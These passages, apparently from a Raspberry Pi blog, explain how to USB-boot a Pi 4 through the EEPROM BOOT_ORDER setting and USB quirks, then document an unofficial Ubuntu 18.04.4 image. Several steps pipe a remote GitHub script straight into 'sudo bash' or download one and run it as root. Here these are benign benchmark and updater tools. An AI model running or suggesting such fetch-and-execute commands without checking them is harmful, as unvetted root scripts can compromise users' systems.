SATA to USB 3.0Morgon reports not working in the comments — I also recognize this adapter as the “fake” StarTech adapter that is sold on AliExpress, thanks Morgon!JSAUX USB 3.0 to SATA Adapter, USB 3.0 to 2.5 Inch SATA III Hard Drives/SSD/HDD Adapter*2.5″ SATA to USB 3.0 Reported as not working by Bennie in the comments, thanks!EZCast M.2 NVME SSD Enclosure Adapter*M.2 NVMe to USB 3.1 Gen2Reported as problematic due to duplicate USB ids — best to avoid — thanks MikeCSabrent 2.5″ Aluminum Enclosure*2.5″ SATA to USB 3.0Reported as not working by JeffGKnown Problematic Adapters Prerequisites Get Latest Raspbian & Updates To edit the bootloader configuration you should have a copy of Raspbian on a SD card. Right now support in third party operating systems to do anything with the new Raspberry Pi 4’s firmware or bootloader is very limited / nonexistent. You can use a third party operating system later once you set the boot mode, but to actually make these changes we will use official Raspbian. First make sure that you have the absolute latest updates and firmware for the Pi. To upgrade all your packages and firmware to the latest version use the following command: sudo apt update && sudo apt full-upgrade -y Once the update has completed restart your Pi with a sudo reboot command to apply the latest firmware / kernel updates. Verify EEPROM Bootloader is up to date We can check if your Pi’s bootloader firmware is up to date with the following command: sudo rpi-eeprom-update If your Raspbian is *very* out of date you may not have this utility and can install it using: sudo apt install rpi-eeprom The output from rpi-eeprom-update will look like this if you are not up to date: BCM2711 detected VL805 firmware in bootloader EEPROM *** UPDATE AVAILABLE *** BOOTLOADER: update available CURRENT: Thu 3 Sep 12:11:43 UTC 2020 (1599135103) LATEST: Tue 24 Nov 15:08:04 UTC 2020 (1606230484) FW DIR: /lib/firmware/raspberrypi/bootloader/beta VL805: up-to-date CURRENT: 000138a1 LATEST: 000138a1 If it says any updates are available they be installed manually by adding ‘-a’ to the end of our previous command like this: sudo rpi-eeprom-update -a After the updates finish installing restart your Pi as firmware updates will not be applied until after a reboot. Now if you run rpi-eeprom-update to check for updates again it should say you are on the latest and up to date! Verify Power Supply Size (3.5A strongly recommended) Check your Raspberry Pi’s power supply size and make sure it is delivering at least 3.5A. There are a lot of USB C adapters for the Raspberry Pi that are only 3.0A. These will typically work fine, until you plug in something like a SSD which draws power from the Pi and there is nothing left to give. Most SSDs are quite power efficient but HDDs draw significantly more. Older generations of SSDs used quite a bit more power than newer ones as well. If you are using an older drive or a drive that you know is power hungry you need to pay extra attention to having a quality power source with plenty of capacity. A good alternative option to relying on the Pi to power the drive is using a powered USB hub* so your drive doesn’t need to draw power from the Pi’s limited power budget. Make sure you get one that is compatible with the Pi as some powered USB hubs won’t work properly with it so check the reviews and do your research to make sure people are using it successfully with the Pi. Using a 3.5A power supply* or powered USB hub* will ensure your drive is getting enough power without impacting the Pi’s stability. Prepare Bootable Drive Image your bootable drive (your SSD / HDD / USB Flash Drive / etc.) the same way you imaged your micro SD card. You write the image of the operating system you want to run to the disk with Etcher / Win32DiskImager / however you normally would write one. Once this is finished we are ready to edit the bootloader configuration to tell it to boot to our drive instead of the built in microSD slot. If you are wanting to do a USB mass storage device boot with Ubuntu 20.04 or 20.10 check out my specific USB booting guide for Ubuntu 20.04 / 20.10 here. Editing Bootloader Configuration If you’ve completed the prerequisites you are now ready to edit your Raspberry Pi’s bootloader configuration to tell the Pi to boot from a specified device instead of the built in microSD slot. To edit the bootloader configuration use the following command: sudo -E rpi-eeprom-config --edit The default configuration will look like this: [all] BOOT_UART=0 WAKE_ON_GPIO=1 POWER_OFF_ON_HALT=0 DHCP_TIMEOUT=45000 DHCP_REQ_TIMEOUT=4000 TFTP_FILE_TIMEOUT=30000 TFTP_IP= TFTP_PREFIX=0 BOOT_ORDER=0xf41 SD_BOOT_MAX_RETRIES=3 NET_BOOT_MAX_RETRIES=5 [none] FREEZE_VERSION=0 Our target is the BOOT_ORDER parameter in bold above. It is 0x1 in firmware versions up until 2020-05-150 and was changed to 0xf41 (try SD card first, then boot from USB if that fails) in newer versions after that. Here are the different configuration options for the BOOT_ORDER parameter (from Raspberry Pi documentation): ValueModeDescription0x1SD CARDSD card (or eMMC on Compute Module 4)0x2NETWORKNetwork boot0x3USB DEVUSB device boot – See usbboot (since 2020-09-03)0x4USB MSDUSB mass storage boot (since 2020-09-03)0xeSTOPStop and display error pattern (since 2020-09-03). A power cycle is required to exit this state.0xfRESTARTStart again with the first boot order field. (since 2020-09-03)Raspberry Pi 4 USB BOOT_ORDER Options The configuration option we want is USB mass storage device boot or option 0x4. We can use this option by itself or combine it with other options in the table placed in the order we want the Pi to try to boot from. To understand how to do this, let’s examine the default Raspberry Pi OS value of 0xf14. The values are read from right to left so this value means it will try USB booting first and then fall back to SD storage next. If you want to leave the SD card and the “restart on failure” fallback options in place you can change it to 0xf14 (remember, the order is from right to left). Go ahead and use your arrow keys to navigate to the BOOT_ORDER line and change it 0x4 or 0xf14 so it reads: BOOT_ORDER=0x4 or BOOT_ORDER=0xf14 (to enable falling back to SD card if USB boot fails) This translates to attempt to boot from USB mass storage first. If that fails, try to boot from SD card. If that fails, start over from step 1 and try again (back to USB mass storage). As another example, if you wanted to add booting from the network you could add the 0x2 value from the table for the “NETWORK” option and make it the final BOOT_ORDER value 0xf124. If you wanted to change the order so that the network boots first instead you could reorder it to 0xf142. Choose the appropriate BOOT_ORDER you would like and use your arrow keys to move down to the BOOT_ORDER line. Change the line and press Control+X and then ‘y’ to save your changes. Make sure you have your boot device we set up in the prerequisites section plugged into one of the blue USB ports as these ports are USB 3.0 and the black USB ports are USB 2.0 (slower). Now restart the Pi. If all went well the Pi will immediately boot up from your boot device instead of the SD card! Help, something went wrong! Try Booting from SD card Generally if the Pi fails to boot from the USB device it will fall back to booting from the SD card. If the Pi didn’t boot after making the change try unplugging your USB device and just booting from the SD card again by removing power from the Pi and plugging it back in again. If the device is booting fine from the SD card but not from the external drive double check that you have a compatible adapter and that the drive was imaged correctly. Plug it into a PC and make sure it has the files on it and perhaps try giving it a clean image again just in case something went wrong with imaging the first time. Verify rpi-eeprom-config configuration Make sure your changes that we made earlier actually stuck by verifying the configuration using the command: sudo -E rpi-eeprom-config --edit and verify that the BOOT_ORDER=0x1 line is changed to BOOT_ORDER=0x4. Restore Bootloader to Defaults If things are *really* broken and the Pi will not boot at all with your SD card or otherwise then you may need to restore the bootloader back to defaults. To do this we need to prepare a SD card with the Raspberry Pi 4 EEPROM boot recovery tool. The easiest way to do this is to use the official Raspberry Pi Imager tool from the Raspberry Pi foundation to prepare the recovery image. Here is how we create the recovery image inside the utility. Choose the “Misc utility images” category as shown below: Raspberry Pi Imager Step #1 Next choose the “Raspberry Pi 4 EEPROM boot recovery” option: Raspberry Pi Imager Step #2 Next choose your SD card and then choose “Write”. Now unplug your Pi and put in the newly prepared SD card. Connect the power and let it boot. This will restore your bootloader to defaults. You should see a continuous rapid green blinking light. You may now disconnect the power and put your original SD card back / reinstall Raspbian and boot the Pi normally! For a more detailed step by step guide on this check out my Bootloader Recovery Guide Try Beta Firmware The beta firmware released since the original USB mass storage device support launched contains a bunch of fixes related to USB mass storage devices and USB booting. The downside is the beta firmware is not as well tested so you shouldn’t install it unless you are doing it to fix a specific issue addressed in those updates. If your drive / USB storage adapter isn’t working then it is worth considering trying the beta firmware to see if the fixes in the versions released not on stable yet will help with your device. To switch to the beta channel edit the configuration file with the following command: sudo nano /etc/default/rpi-eeprom-update Change the line FIRMWARE_RELEASE_STATUS=”critical” (sometimes it can be “stable”) to: FIRMWARE_RELEASE_STATUS="beta" Now press Ctrl+X and then ‘y’ to save our changes in nano. Now execute a Pi firmware update using: sudo rpi-eeprom-update -a The updater will tell you whether updates were applied or not. Now do a full reboot of your Pi as the firmware updates won’t be applied until you do! If you want to switch back to normal firmware simply change the configuration back to “stable” or “critical”. Verify Drive Performance You can make sure everything is running correctly (and as fast as it should be) by running my quick storage benchmark. You can run the benchmark with the following one-liner: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash This will give you a score you can compare to the other Raspberry Pi Storage Benchmark results and make sure that you are getting an equivalent speed to your peers with the same device! Fix (some) USB Adapter Problems Using Quirks Some of the very common adapters on the naughty list above (such as the Sabrent) can be made to work by using USB quirks to disable UAS mode on the drive. This lowers performance, but it’s still much faster than a SD card and your adapter won’t go to waste. To find out the quirks we need to find the device ID string for your adapter and then add an entry to cmdline.txt telling the kernel to apply them on boot. Find Your Adapter To apply the quirks we first need to get the adapter id. We will use the sudo lsusb command: $ sudo lsusb Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 002 Device 002: ID 174c:55aa ASMedia Technology Inc. Name: ASM1051E SATA 6Gb/s bridge, ASM1053E SATA 6Gb/s bridge, ASM1153 SATA 3Gb/s bridge, ASM1153E SATA 6Gb/s bridge Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 002: ID 2109:3431 VIA Labs, Inc. Hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub On line 2 we can see my ASM1051E SATA 6Gb/s bridge adapter (it’s the known working StarTech.com 2.5″ SATA to USB 3.1* adapter). You will see something very similar to mine when you run the command and it shouldn’t be too hard to figure out which device it is. If you need more information add a -v switch to make the command sudo lsusb -v. This can sometimes add some additional details to make it easier to figure out which one is your adapter. If you’re still not sure, we have another command that between the two that can narrow things down. Type / paste the following: sudo dmesg | grep usb [0.828535] usb usb3: New USB device found, idVendor=1d6b, idProduct=0002, bcdDevice= 4.19 [0.828568] usb usb3: New USB device strings: Mfr=3, Product=2, SerialNumber=1 [0.828597] usb usb3: Product: DWC OTG Controller [0.828620] usb usb3: Manufacturer: Linux 4.19.75-v7l+ dwc_otg_hcd [0.828644] usb usb3: SerialNumber: fe980000.usb [0.830051] usbcore: registered new interface driver uas [0.830182] usbcore: registered new interface driver usb-storage [0.836488] usbcore: registered new interface driver usbhid [0.836511] usbhid: USB HID core driver [0.971598] usb 1-1: new high-speed USB device number 2 using xhci_hcd [1.154217] usb 1-1: New USB device found, idVendor=2109, idProduct=3431, bcdDevice= 4.20 [1.154254] usb 1-1: New USB device strings: Mfr=0, Product=1, SerialNumber=0 [1.154281] usb 1-1: Product: USB2.0 Hub [1.301989] usb 2-1: new SuperSpeed Gen 1 USB device number 2 using xhci_hcd [1.332965] usb 2-1: New USB device found, idVendor=174c, idProduct=55aa, bcdDevice= 1.00 [1.332999] usb 2-1: New USB device strings: Mfr=2, Product=3, SerialNumber=1 [1.333026] usb 2-1: Product: ASM105x [1.333048] usb 2-1: Manufacturer: ASMT [1.333071] usb 2-1: SerialNumber: 123456789B79F This is the dmesg log showing the hardware detection as hardware is activated on the Pi. If your log is really long you can generate fresh entries by just unplugging a device and plugging it back in and running the command again. Here we can clearly see that the ASM105x is what our StarTech adapter is being detected as. Now we can go back to our first lsusb command and we want the 8 characters from the ID field that comes right after the Device: Bus 002 Device 002: ID 174c:55aa ASMedia Technology Inc. Name: ASM1051E SATA 6Gb/s bridge Our adapter’s ID is: 174c:55aa Applying Quirks To apply the quirks to our USB adapter we are going to edit /boot/cmdline.txt. Type: sudo nano /boot/cmdline.txt We are going to add the following entry into the very front of cmdline.txt: usb-storage.quirks=XXXX:XXXX:u In place of the X’s above you will put in your adapter’s ID that we got before. With the example commands I gave above mine would look like this: usb-storage.quirks=174c:55aa:u. After this my cmdline.txt looks like this (everything should be one continuous line, no line breaks!): usb-storage.quirks=174c:55aa:u console=serial0,115200 console=tty1 root=PARTUUID=d34db33f-02 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait Now reboot the Pi. If the Pi fails to boot you can plug the SD card into the computer and go to /boot/cmdline.txt and undo the change we did so you can boot back in with your SD card. Verifying Quirks Once you have rebooted after changing cmdline.txt we can verify the quirks have been applied by doing another dmesg | grep usb command: sudo dmesg | grep usb [1.332924] usb 2-1: New USB device found, idVendor=174c, idProduct=55aa, bcdDevice= 1.00 [1.332957] usb 2-1: New USB device strings: Mfr=2, Product=3, SerialNumber=1 [1.332983] usb 2-1: Product: ASM105x [1.333006] usb 2-1: Manufacturer: ASMT [1.333028] usb 2-1: SerialNumber: 123456789B79F [1.335967] usb 2-1: UAS is blacklisted for this device, using usb-storage instead [1.336071] usb 2-1: UAS is blacklisted for this device, using usb-storage instead [1.336103] usb-storage 2-1:1.0: USB Mass Storage device detected [1.336479] usb-storage 2-1:1.0: Quirks match for vid 174c pid 55aa: c00000 [1.336611] scsi host0: usb-storage 2-1:1.0 This time we can see in dmesg that UAS was blacklisted for the device and it has loaded with the usb-storage driver instead. This driver tends to be more compatible with the “problematic adapters” but the performance is usually significantly lower. It’s definitely worth a try though as some adapters do better with the quirks performance-wise. The only way to know for sure is to run a benchmark (see “Verify Drive Performance” section). Other Resources The Raspberry Pi Imager has a bunch of new headless configuration options that may be of assistance If you are looking for storage adapters or the best SSDs to use: Best Storage Adapters / SSDs for the Pi 4 / 400 guide To find out where to get the 64 bit Raspberry Pi OS beta: Where to get 64 bit Raspberry Pi OS article here If you want to see which Pi storage performs the fastest and get an idea of what kind of drives to look for check out my 2022 Raspberry Pi Storage Benchmarks #### Raspberry Pi 4 Ubuntu Server / Desktop 18.04.4 Image No Official Pi 4 Support? Fine, I’ll do it myself UPDATE 12/5/2020 – If you are looking for installation instructions or USB booting instructions for Ubuntu 20.04 / 20.10 check out my new updated guide here This is a unofficial distribution of Ubuntu Server 18.04.4 for Raspberry Pi 4. It is provided with the purpose of letting us all play with the new Pi 4’s new increased RAM and other capabilities until Ubuntu’s repositories are updated with support for the newest Pi. I want to thank all the commenters on this article and my Ubuntu Server Installation Guide for Raspberry Pi 4 who have contributed a ton of fixes to help get the image to the point it is at now! I also want to thank anyone who has reported issues or pull requests on the official GitHub page. This has truly been a collaborative effort and I expect it will continue to be until official support is released. Table of Contents Toggle FeaturesGitHub Project LocationUpdate Bootloader Firmware First (using Raspberry Pi OS)!Preinstalled Image Download / InstructionsUpdatesUsing apt-getIncluded UpdaterUsageForcing UpdateInstall Full Ubuntu Desktop VersionPerformanceStorageUsing USB Storage / Solid State Drive (SSD)Known Issues / FixesNo display (HDMI)Kubuntu-Desktop display issuesBuild InstructionsRelease HistoryRelease v28 – 2/24/2020Release v27 – 1/20/2020Release v26 – 12/20/2019Release v25 – 12/3/2019Release v24 – 11/29/2019Release v23 – 11/21/2019Release v22 – 11/17/2019Release v21 – 11/8/2019Release v20 – 11/7/2019Release v19 – 11/6/2019Release v18 – 11/3/2019Release v17 – 11/1/2019Release v16 – 10/31/2019v15 Official Release – 10/28/2019Pre-Release v14 – 10/26/2019Pre-Release v13 – 10/23/2019Pre-Release v12 – 10/6/2019Pre-Release v11 – 10/5/2019Pre-Release v10 – 10/3/2019Pre-Release v9 – 10/2/2019Pre-Release v8 – 9/21/2019Pre-Release v7 – 9/8/2019Pre-Release v6 – 9/7/2019Pre-Release v5 – 9/3/2019Pre-Release v4 – 9/2/2019Pre-Release v3 – 9/2/2019Pre-Release v2 – 8/31/2019 Features Fully 64-bit kernel and userspace environment Updates normally via apt dist-upgrade from the official Ubuntu repositories Raspberry Pi userland utilities included (vcgencmd, dtoverlay, etc.) raspi-config utility included (good for enabling I2C, SPI, etc.) Uses the official 4.19.y Raspbian linux kernel built with arm64 flags Firmware updates from the Raspbian image and the RPi-Distro/firmware-nonfree repository 3D video hardware acceleration support via vc4-fkms-v3d stack. Videos / games are giving very high and smooth FPS. Includes kernel headers and the full kernel source tree used to build a kernel with your own custom flags (/usr/src/ directory) Can build out-of-tree and DKMS modules Full desktop support available via apt install kubuntu-desktop, xubuntu-desktop, xfce4, mate-desktop-environment, etc. 5 GHz WiFi channel support Working Bluetooth and WiFi KVM virtualization support Update script provided to update kernels/firmware/modules GitHub Project Location The image and source code to build the image are open source and freely available on GitHub: GitHub – TheRemote – Ubuntu-Server-raspi4-unofficial Raspberry Pi 4 The Raspberry Pi 4 is available in different memory configurations all the way up to 8 GB. It’s about the size of a credit card and uses an extremely low amount of power making it ideal for all sorts of projects and ideas! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon*.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Raspberry Pi 400 Kit The Raspberry Pi 400 kit includes everything you need for a full Pi 400 desktop build. The Pi 400 is the fastest Raspberry Pi ever released and comes in the form factor of a keyboard! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*,Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Update Bootloader Firmware First (using Raspberry Pi OS)! One important new thing to understand about the Raspberry Pi 4 vs. older Pis is that the 4 now has real onboard firmware that is on a special chip separate from everything else. Older Raspberry Pis did not have real onboard firmware and loaded all of their firmware from the SD card every single boot. Before you install this image you should run Raspbian and install the latest firmware using this command: sudo apt-get update && sudo apt-get dist-upgrade -y sudo rpi-update Next we are going to check for bootloader updates. We do this using the new rpi-eeprom utility. The following command will check for updates: sudo rpi-eeprom-update -a For a lot more information about the new rpi-eeprom bootloader utility make sure you check out my Raspberry Pi 4 Bootloader Guide. If you have multiple SD cards or storage devices laying around it is a good idea to designate one of them as the “Official Raspbian Firmware Updater” card. Using this method you can periodically swap out the card and install the latest firmware updates to your Pi 4 and then switch right back to Ubuntu. Preinstalled Image Download / Instructions To download the precompiled image see the releases section located at GitHub – TheRemote – Ubuntu-Server-raspi4-unofficial – Releases The file you are looking for on the releases page is ubuntu-18.04.4-preinstalled-server-arm64+raspi4.img.xz. Download this file and extract the .img file from inside. Use the free and awesome 7-zip if you are on Windows to extract the .img file. Now burn the .img file using your favorite program. I use Win32DiskImager. Now insert your SD card / storage device into the Pi and start it up! Username: ubuntu Password: ubuntu Upon logging in for the first time you will be required to change the default password to something else. Once you have done that log back in and you should be all set! Updates Using apt-get First and foremost 99% of your updates will be coming from Ubuntu’s official repositories directly from apt as it would with any official image. The only things set on package hold (using apt-mark hold flash-kernel linux-raspi2 linux-image-raspi2 linux-headers-raspi2 linux-firmware-raspi2) to prevent them from overwriting the firmware already on the image. If you wish, you may apt-mark unhold those same packages and you will be 100% official Ubuntu. Your installation will probably immediately break if you do it now, but when the RPI 4 support is backported this is how you can change back to theirs. Included Updater I have also included an updater that will give you the latest kernel/firmware/modules/fixes that are included in each release. If Ubuntu’s 18.04.4 update servers get working firmware for the Raspberry Pi 4 I will change the update script to remove the apt-mark holds on the Raspberry Pi firmware package in apt and close the project down (leaving this here for people to learn from to hack an unsupported device into their own distros, or until I do it again on the next Pi release!) Usage If you have V18 or later of the image the updater is located at /home/Updater.sh. Type/paste: sudo ./Updater.sh If you have an older version of the image or need to manually update your Updater script, use the following commands: wget https://raw.githubusercontent.com/TheRemote/Ubuntu-Server-raspi4-unofficial/master/Updater.sh chmod +x Updater.sh sudo ./Updater.sh Updates to the kernel/firmware/fixes to common problems will be provided as long as there is interest. Forcing Update If you want to force the update (if you suspect/know something went wrong during an update, or you are troubleshooting, etc) use the following commands: cd /home sudo rm /etc/imgrelease sudo ./Updater.sh These commands remove a small file that contains the version of the image you have installed. This will cause the updater to allow you update again. Install Full Ubuntu Desktop Version To install the full version of Ubuntu Desktop use one of the following: sudo apt-get update && sudo apt-get dist-upgrade -y && sudo apt-get install ubuntu-desktop -y sudo apt-get update && sudo apt-get dist-upgrade -y && sudo apt-get install xubuntu-desktop -y sudo apt-get update && sudo apt-get dist-upgrade -y && sudo apt-get install kubuntu-desktop -y The xubuntu variant is lighter than the kubuntu variant but either one will need to download and install thousands of packages to complete the upgrade. This can obviously take quite a long time. How long it will take depends on your internet connection and the quality of your storage device. Running this task overnight or when you have an errand to go run is definitely advised! Performance Storage Beyond keeping your firmware and distribution up to date there is only one thing that sets apart one Ubuntu installation on a Pi from any other: your storage device. The difference between a low end to high end SD card can be a 2-3x performance, and the difference between a SD card and a solid state drive is a whole order of magnitude. To help people know whether they have high performance storage I made the Raspberry Pi Storage Benchmark that will give you a performance score. Running the benchmark is really easy. Paste or type the following commands: curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash The storage benchmark will run several well known and respected benchmarks such as iozone and fio and calculate a score for your device. Most importantly, to compare your score or if you want to just view other benchmark submissions check out the full results of all submissions in a searchable/sortable table at the Raspberry Pi Storage Benchmark Results Page. Using USB Storage / Solid State Drive (SSD) UPDATE 12/4/2020 – These instructions won’t work with Ubuntu 20.04 and 20.10. To USB boot those versions check out my new Ubuntu 20.04 / 20.10 USB booting guide here Right now the Pi 4 still lacks USB boot support. However, you can still do it by using the trick of having a SD card that you use as a bootloader only and have the rootfs on your USB storage. This is kind of a waste of a SD card but it’s definitely worth it as it allows you to hit those full sweet sweet USB 3.0 transfer speeds right now without waiting until the USB booting firmware update is released. Using a solid state on the Ubuntu image is incredibly easy (even easier than Raspbian). Here’s the instructions: Download the Desktop or Server image above and write it to your SD card Navigate to the /boot drive on your SD card and open cmdline.txt Change the part of the line that says root=/dev/mmcblk0p2 to root=/dev/sda2 Now burn the image again to your SSD Plug in both the SSD and Micro SD and boot up the Pi See my Raspberry Pi 4 USB Booting Guide for more information on USB booting / how this works / how to set it up. Known Issues / Fixes This section will be updated with known issues/fixes as people test the image and give feedback. No display (HDMI) If you have no display on your HDMI monitor you may need to toggle some options in /boot/config.txt. Put the SD card back in your computer and go to config.txt on the boot partition. Here are some examples of good ones to try to get your display working: #uncomment if you get no picture on HDMI for a default "safe" mode #hdmi_safe=1 #uncomment if hdmi display is not detected and composite is being output #hdmi_force_hotplug=1 #uncomment to force a specific HDMI mode (this will force VGA) #hdmi_group=1 #hdmi_mode=1 #uncomment to force a HDMI mode rather than DVI. This can make audio work in DMT (computer monitor) modes #hdmi_drive=2 #uncomment for composite PAL #sdtv_mode=2 Which option or options may fix it for you is impossible to say. Everyone’s display is different so you may have to try a few times before you get it. Kubuntu-Desktop display issues If your windows are not drawing correctly in Kubuntu (missing window borders, black screens in windows, etc.) then you need to disable compositing. Use the shortcut Alt + Shift + F12 to disable the compositor and everything will draw normally. Now go into the Settings app and go to the “Compositor” section and uncheck “Enable compositor at startup” to prevent it from turning back on when you reboot. This has been resolved in V16+. Build Instructions If you don’t want to use the precompiled binaries you can also build it yourself with the provided build script! The build script is meant to be ran in a *throwaway* Ubuntu 18.04.4 Virtual Machine (VM). Here are the reasons you shouldn’t ignore this: Absolutely no steps have been taken to make the process “secure” or “safe” for your main machine It assumes the home directory is safe to build in (it’s not on a main system) It installs hundreds of development packages that you only need to build the image (would bog down a main system) It chroots into at least 4 different images during the build and chroots leak (causing instability/security concerns) If things go wrong with the type of commands used in the script your system can get borked *real quick* (like instantly) Now assuming you have your fresh throwaway VM ready download the build script: cd ~ wget https://raw.githubusercontent.com/TheRemote/Ubuntu-Server-raspi4-unofficial/master/BuildPiKernel64bit.sh chmod +x BuildPiKernel64bit.sh Now is a good time to read through the build script to understand what it is doing. It will download several images and update them in a chroot and then extract the firmware. It then sets up all of the changes/fixes in the target image. Once you feel you are ready to proceed run the build script with: ./BuildPiKernel64bit.sh The script’s final output will be “ubuntu-18.04.4-preinstalled-server-arm64+raspi4.img” along with the xz compressed version and an updates.tar.xz file which is meant to bring a normal 18.04.4 installation up to date. Release History Release v28 – 2/24/2020 Updated source image to Ubuntu 18.04.4 Added xubuntu-desktop precompiled images Updated to kernel 4.19.105 (addresses critical vulnerability) Fixed flash-kernel package missing dtb files Fixed issue that could cause ssh keys to not be created properly Release v27 – 1/20/2020 Updated to kernel 4.19.97 Updated to Ubuntu 19.10.1 for base firmware instead of 19.10 Updated Raspbian firmware Release v26 – 12/20/2019 Updated to kernel 4.19.89 Power management firmware features for WiFi are now enabled (saves 55mA (~270mW) of power on Pi 4) Updated firmware Release v25 – 12/3/2019 Fixed issue with desktop driver not loading properly (thanks tarsij!) Updated kernel with a few V3D and other fixes Release v24 – 11/29/2019 Updated kernel to 4.19.86 Updated packages and firmware This kernel has additional USB and V3D improvements Release v23 – 11/21/2019 Updated kernel to 4.19.84 Fixed problem that could cause desktop v22 release to not load Enabled AppArmor kernel flags Fixed display performance in headless mode by setting hdmi_force_hotplug=1 to enable the creation of a virtual display Added #dtparam=i2c0=on and #dtparam=i2c1=on examples to /boot/firmware/config.txt to help enable those interfaces if needed Release v22 – 11/17/2019 Updated kernel to 4.19.83 This kernel includes a number of fixes to USB and other drivers — if you were having trouble with USB v22 is worth a try for you! Fixed issue where lightdm service (used by xubuntu-desktop) would not load properly Added bootcode.bin to /boot/firmware to allow older Pis to boot the image (3B+ confirmed to work so far, others need testing) Added README documentation to /boot/firmware/overlays folder for documentation inside dtoverlay command Updated firmware Release v21 – 11/8/2019 Preinstalled Desktop binary (ubuntu-desktop) now available in the releases section Netplan changes removed by popular demand — it was causing too many issues as everyone is using the image differently Updater now removes old kernel source code automatically (no more manual cleaning of these large folders needed) Release v20 – 11/7/2019 Fixed bug that was causing kernel modules to not load (updating using /home/Updater.sh recommended) Release v19 – 11/6/2019 Fixed PulseAudio only playing sound in mono, stereo now works! Added kernel flags to optimize speed/clean up warnings/fix crashes Moved most fixes to /etc/rc.local so they are applied after installing a *ubuntu-desktop package without waiting for the next update Removed machine-id from the base image so that cloned images wouldn’t all have a duplicate machine-id Fixed audit service error Fixed “spice-vdagent[2107]: Cannot access vdagent virtio channel /dev/virtio-ports/com.redhat.spice.0” error Fixed triggerhappy crash related to /lib/systemd/system/triggerhappy.socket being wrong type Release v18 – 11/3/2019 Update to kernel 4.19.81 Added udev rule to allow users to use vcgencmd without sudo (thanks xlazom00) Fixed udev mounts not being visible (thanks wyuenho for the pull request) Build script improvements now gets cross chain compiler / qemu user static 4.1 / related build dependencies Build script now retrieves all dependencies for you on a blank Ubuntu 18.04.4 Virtual Machine (if you want to build) Release v17 – 11/1/2019 Fixed issue with CUPS preventing firmware modules from loading in xubuntu-desktop Fixed unescaped EOF issue that was messing up fixes in /etc/rc.local (thanks meisenzahl for the pull request!) Release v16 – 10/31/2019 Updated Pi firmware (sound / video fixes, see https://github.com/Hexxeh/rpi-firmware/commit/c5736330216628b5ff8e3d17dde7cc03ce2126e6 Updated Ubuntu-side firmware from updates included on the preinstalled 1910 release image New 64 bit Raspberry Pi userland tools/libraries (vcgencmd) tools are now available — they are being freshly built each version now in the build script! Fixed issue where Pulse would not come back on after first reboot Fixed netplan so startup isn’t delayed by several minutes without an ethernet cable plugged in Fixed several kernel flags related to sound/video v15 Official Release – 10/28/2019 Script to update between releases is finally ready, and with that I am taking this out of pre-release!To get the update script use the following commands: wget https://raw.githubusercontent.com/TheRemote/Ubuntu-Server-raspi4-unofficial/master/Updater.sh chmod +x Updater.sh sudo ./Updater.sh You can update from any pre-release release version. Please make a backup first!The updater is located at /home/Updater.sh on v15 and up (to run type sudo bash /home/Updater.sh) Pre-Release v14 – 10/26/2019 Kernel source tree and headers are now included in the image! The kernel build source tree is located at rpi-linux-“${KERNEL_VERSION}” Ubuntu’s first official release has come for the Pi 4 but it’s 19.10 only which is not a LTS release and support ends for it in -DKMS module building tested (you can test using apt install hello-dkms) If you want custom kernel flags you can go to the /usr/src/rpi-linux folder and run make menuconfig (see BuildPiKernel64bit.sh for more info) Rewrote build script to be more readable and reliable. It’s still a work in progress but I’m breaking things down into functions, etc. Pre-Release v13 – 10/23/2019 raspi-config tool is now included with the image for (testing only, don’t use on critical fully set up images). You can use it to turn on i2c/spi/etc. File an issue if you find problems! vcgencmd tool (and other libraspberrypi-userland packages) are now included (older build, works for essentials such as vcgencmd measure_temp, vcgencmd get_config int, vcgencmd get_throttled, etc) Added 5Ghz WiFi band support (default regulatory domain US, change in /etc/default/crda if desired) Updated kernel to 4.19.80 Fixed sound artifacts when playing YouTube/videos in browser Fixed fsck errors during resize2fs operations Pre-Release v12 – 10/6/2019 Fixed Bluetooth not automatically attaching (now appears in both console and desktop mode) Updated firmware using the latest from the Raspbian image Pre-Release v11 – 10/5/2019 Updated kernel and modules to rpi-4.19.75 Updated kernel to 4.19.76 Fixed several video driver issues including very low performance, YouTube videos in full screen freezing the Pi, low color resolution in xubuntu-desktop and graphical artifacts in kubuntu-desktop Fixed bluetooth by adding missing firmware file not present in firmware-nonfree Updated /boot/firmware/config.txt with useful HDMI debug flags — uncomment some of these such as hdmi_safe if you are not getting display output Added lines in config.txt to configure SPI and i2C — you can uncomment these lines if you need to enable them Updated WiFi firmware Added missing regulatory.db files (used by WiFi) to /lib/firmware Note for Kubuntu desktop: the compositor needs to be disabled for everything to draw correctly. Use the shortcut Alt + Shift + F12 to disable the compositor and everything will draw normally. Now go into the Settings app and go to the “Compositor” section and uncheck “Enable compositor at startup” to prevent it from turning back on when you reboot. Pre-Release v10 – 10/3/2019 Fixed issue with wireless not showing in v9 Fixed bad symlink creation (pull request #38) Pre-Release v9 – 10/2/2019 Updated kernel and modules to rpi-4.19.75 start*.elf and fixup*.dat files (GPU firmware) are now updated with each release Kernel .config has been updated with the latest default config and Sakiki-‘s conform_config.sh parameters New conform_config_jamesachambers.sh script added to better keep track of kernel config changes SPI is now enabled CPU bandwidth provisioning for FAIR_GROUP_SCHED is now enabled (CONFIG_CFS_BANDWIDTH=y) Additional Ceph kernel config parameters enabled (see conform_config_jamesachambers.sh for all params) A lot of additional hardware support has been enabled via the official Raspberry Pi default kernel config params — if you were having trouble with a device try v9 Cleaned up build script by adding additional needed dependencies to apt-get commands, broke up some sections and added additional comments Pre-Release v8 – 9/21/2019 Updated kernel to rpi-4.19.73 Added hosts entry to prevent slow sudo command Added CONFIG_CGROUP_PIDS=y to .config file Committed extras folder to repository Added forcefsck file to run fsck on first boot Reduced image size substantially by running fstrim on .img Pre-Release v7 – 9/8/2019 Updated kernel to rpi-4.19.71 Added CONFIG_BLK_DEV_RBD=y to 